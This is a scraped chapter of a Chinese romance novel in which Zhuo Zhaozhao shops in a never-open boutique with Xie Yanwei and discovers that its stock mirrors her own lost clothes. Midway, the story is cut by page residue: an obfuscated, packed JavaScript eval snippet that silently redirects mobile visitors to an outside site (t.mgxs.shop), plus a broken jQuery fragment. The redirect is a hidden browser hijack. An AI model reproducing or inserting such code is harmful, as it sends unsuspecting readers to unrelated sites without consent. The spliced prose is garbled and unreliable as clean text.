*你说的好去处是哪儿?

    *就在前面。

    ……卓昭昭扭头,慢慢对上身旁男人的视线,后者终于笑了声,抬手在她头上摁了摁,“傻。”

    卓昭昭抱着脑袋转过身,只见他悠然自在往里走,进店的从容仿佛回到自个儿家一样,才明白这人一路憋坏,看破不说破,看她犯傻。

    她呆呆站在原地,看着谢咽危的背影,竟因这个宠溺的动作,有几分心动。

    灯光在他肩头落下一层薄影,在这之前稍显空旷的玻璃墙空间,找不到重点。

    在他进入之后,那种空无一物的感觉居然被打破了,仿佛他才是这空间里无形的承重墙。

    实际上,他没有做什么,只是不紧不慢地往里走,过路时随手把咖啡放在首饰展柜上。

    “我才不傻。”她喃喃着,跟着走进去,心中是滞后唤醒的按捺不住的兴奋。

    门顶挑得很高,门脸相当气派,进门便是大理石迎宾台,几个店员散落各处,但都在面对着门口、她所在的方向,目视着她,此前在各干各的活。

    进门右手是几条折叠成长条铺在桌子上的围巾,角落安了两条拐角沙发,也不规则地摆了一些毛毯、被子。

    她正低头欣赏着材质,最近的是一条丁香紫与紫藤色混合的毯子。

    身后,玻璃门关上。

    “小姐,换一双舒服的拖鞋吗?”刚才出来迎接二人的店员走过来。

    店员拿来一双毛茸茸的平底拖鞋,毛色和她方才相中的紫色毯子是同色,底部亦是毛茸茸的。

    穿上一定很舒服,卓昭昭点头:“好啊。”

    她坐在沙发上,在店员要上手帮忙前,把抹茶递给她,说:“我自己来就好。”

    “好的。”店员退到一米外,不时地问候她的需求,开启销售模式,各种夸夸夸,从乌黑的头发丝夸到脚的莹润白瓷,足弓纤细、白皙通透……

    “你好像很紧张。”卓昭昭听出她的声线有一丝丝的紧绷,笑道。

    “怕业务生疏。”店员也笑,那笑里带着想要放松的一口气。

    “别紧张。”卓昭昭说。

    简单三个字,让本就业务能力上乘的店员吃了颗定心丸似的,真不再紧张,专注地为眼前人服务。

    卓昭昭换好鞋,站起来,感觉和想象中的一模一样,足底和背得到了柔软的舒缓,很轻,踩在地上没有任何膈感。

    她扭头要找谢咽危,却没寻到人。

    店员看出她的想法,便说:“谢先生接了个电话,往楼上去了。”

    “那我自己看。”卓昭昭说,“不用服务我。”

    她更喜欢自己沉浸式地购物,再与身边的人分享。

    不过还是安排了一个店员推着衣架,不远不近地跟在她身后,方便她有喜欢的衣服便挂上去。

    到目前为止,这家店给她的感觉,像极了闹市中巨大的玻璃衣柜。

    她也仿佛回到家中。

    一层的衣服多是上衣下裤、眼花缭乱的配饰,只有靠墙架子上的是裙子,包袋都少。

    转回去再看毯子时,余光瞥到自己的抹茶,放置在沙发前的桌子上。

    她拿起来喝了一口,想起四人的言论,好奇问:“这家店平时真不开门营业么?”

    “是的。”店员认真颔首。

    “开业多久了?”卓昭昭又问。

    “今年一月份开的。”店员回答。

    “是预约制吗?”卓昭昭好奇。

    “暂时没有开通预约渠道。”店员说。

    “那就是靠熟人介绍?”卓昭昭想,就像有的私房菜一样,网上找不到预约方式,只靠客户介绍。

    “那我们老板大概是没有熟人。”店员摆出苦涩的笑。

    卓昭昭讶然:“至今在我们之前真的一组客人都没有吗?”

    她之前想的只是平时不开门营业,但没想过是完全不接客。

    店员一本正经:“确实。”

    卓昭昭真的猜不出来了,“那平时怎么赚钱?”她仰头看了看店面,“成本这么高。”

    听那四人说,每晚开灯、每天都有人在,人力物力水电租金每日每小时都在滚动,是什么样的动力支撑开这么久的?

    罢了,待会问谢咽危。

    谢咽危能让这家自开业就没营业过的店,对两人破例而为,闭门候客,他一定知情。

    卓昭昭端着抹茶,最终还是指使店员拿起那条紫色毯子放进推车架子中,心想光是一层就拿了三十多件东西,谢咽危今晚上要破费了。

    玻璃墙外依旧人来人往,起初是有三三两两的路人,在人行道上驻足,在朝里头张望,一个两个似乎感到惊讶。

    路过的人以为这里头是有什么热闹,不久后,停留的人越来越多。

    由此吸引了更多的人敛步,纷纷交头接耳,在问怎么回事?发生了什么?

    人群中有人说了前因后果,而后引起了激烈的讨论。

    有的不信这家店开在这种地方不营业,在骗鬼。有的则是在说做戏,搞营销,呼吁大家别被骗了。

    有好些经常到这附近逛街工作的人,确定这是第一次见这店里有客人,则举起手机,往卓昭昭的方向拍照,马上发上社媒,标题层出不穷。

    「这店开业半年终于迎来第一位客人」

    「上海偶遇美女开兰博基尼来购物,穿着好低调」

    「这人什么来头?有认识的吗?」

    ……

    这一切玻璃墙内的昭昭毫无所觉。

    一楼逛完,乘坐电梯上了二楼。

    二楼放眼过去,多是包袋和裙子。

    电梯旁边的架子摆了一些帽子,她正拿下一顶冷帽。

    店员走过来,“卓小姐,这是楼梯拐角处的那条白色鱼尾裙,谢先生让我取下来的,您看看喜不喜欢。”

    卓昭昭扭头看,紧着放下帽子,把裙子接过来。

    这条裙子她在外面就相中了,现在一看,依旧心仪。

    “你们老板的品味和我还挺重合的。”她高举着衣架,摸着上面的布料、设计,不禁感叹道,“这条裙子,我以前也有一条一模一样的。”

    之前在外头只看到版型,确认是她喜欢的,但现在凑近了看,才认出来。

    只不过那条裙子落在西山谢咽危的房子里头,她没带走。

    看来人的审美品味很固定,喜欢的东西,哪怕过了一年,再见到同款,她还是会喜欢。

    看了看尺码,甚至是她穿的尺码,实在有缘,她把裙子挂到推架上,“我要了。”

    能遇到和自己审美如此高度重合的买手店,真是幸运极了,估计接下来一年无需再购物,在这店里就买完了。

    不仅这条裙子她曾买过穿过,方才架子上拿起的那顶黑色冷帽、旁边的蕾丝冷帽,她也有,也是落在谢咽危那里了。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17732331|207598||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    不过是在纽约,当时冬假,她跑去纽约找谢咽危玩儿,走的时候刻意留了一些衣物在那里,帽子裙子内衣首饰都有。

    在一层选的小背心吊带、开衫、斜肩、卫裤,她也几乎都有过差不多的款,不至于全部别无二致,却也是差不离的风格设计。尤其是那些白色蕾丝、针织的背心吊带、开衫,紧身上衣,几乎都是她的心头好。

    这一年,她的时间几乎都让课业占据,连打扮都敷衍,每天起来怎么舒适怎么来,别提逛街购物,连网购的次数都少。

    没的东西没了就没了,她没想过特意去复购,没想到今天都铺开在她面前,供她挑选。

    不过这家店着实奇怪,不仅不开门营业,衣服上连标签都没有。

    问店员价格,店员居然也不知道,要下去请示收银台。

    她独自一人上了三楼。

    三楼不像一二楼那么空旷,多了个水泥砌起来的更衣室。

    绕过工业风泥墙,谢咽危就在里头沙发上,却没在打电话。

    他在闭眼躺着,手臂横在眼睛上,挡着光。

    卓昭昭轻手轻脚走过去,也不吵他,在地毯上坐下来。

    桌子上陈列了一些衣服包袋首饰,估计是他选的。

    卓昭昭拿起其中的一个包包,认出来这是香家上世纪的一个款,二手市场都很难买。

    “看完了?”

    卓昭昭冷不丁被吓一跳,低头去看,谢咽危不知何时移开了手臂,在看着她。

    “嗯嗯。”她放下包,心里的平静立马重新沸腾,过去抱住了他,“试给你看好不好?主人,这家店好有品味。”

    “哦,是吗。”谢咽危笑了下,抱着她坐起来。

    卓昭昭本就在沙发边上,他坐起来,更加没空间了,她顺着沙发脚滑下来,坐在地毯上,拿起面前的一件衣服,居然是一件露背连体泳衣。

    大面积的黄色、淡紫色边沿的高叉露背连体设计,居然连她喜欢的泳衣款式都有吗?

    “你给我挑的吗?”她仰头看谢咽危。

    他就坐在她身后,掌心从后伸向她的脸前,摸了摸,嗯了一声。

    “好看。”卓昭昭蹭了蹭他手心,回头继续看其他衣服。

    这么坐着看不完全,于是撑着桌子跪了起来。

    满桌子打量时,她忽然在一片眼花缭乱中,看到自己的名字。

    也不完全是自己的名字,是其中有个昭字,与另一个字呈现在一张纸上。

    准确来说是固定在板夹上的一个本子,本子上头写着‘昭物’两个字。

    她本来被旁边的戒指吸引了注意力,视线在其上一扫而过,也许人都会本能关心自己的名字,她下意识倒回来,定睛一瞧。

    “昭物。”她一字一顿念出来。

    这才想起来,进门前店员似乎念出过类似的读音。

    只是这两个字不是词语,所以她压根没联想到,也没发现是这两个字,只以为是招物、召雾,随便什么吧,她购物只看品,一向不在乎店名,总之没想过是日刀口的昭。

    如果是这个昭……

    如果昭字后配个物……

    昭的物……

    如果眼光品味几乎和她百分之九十五重合……

    甚至有她买过用过的‘同款’……

    我去……

    那这店岂不就是……

    她猛地抬起头,望向谢咽危。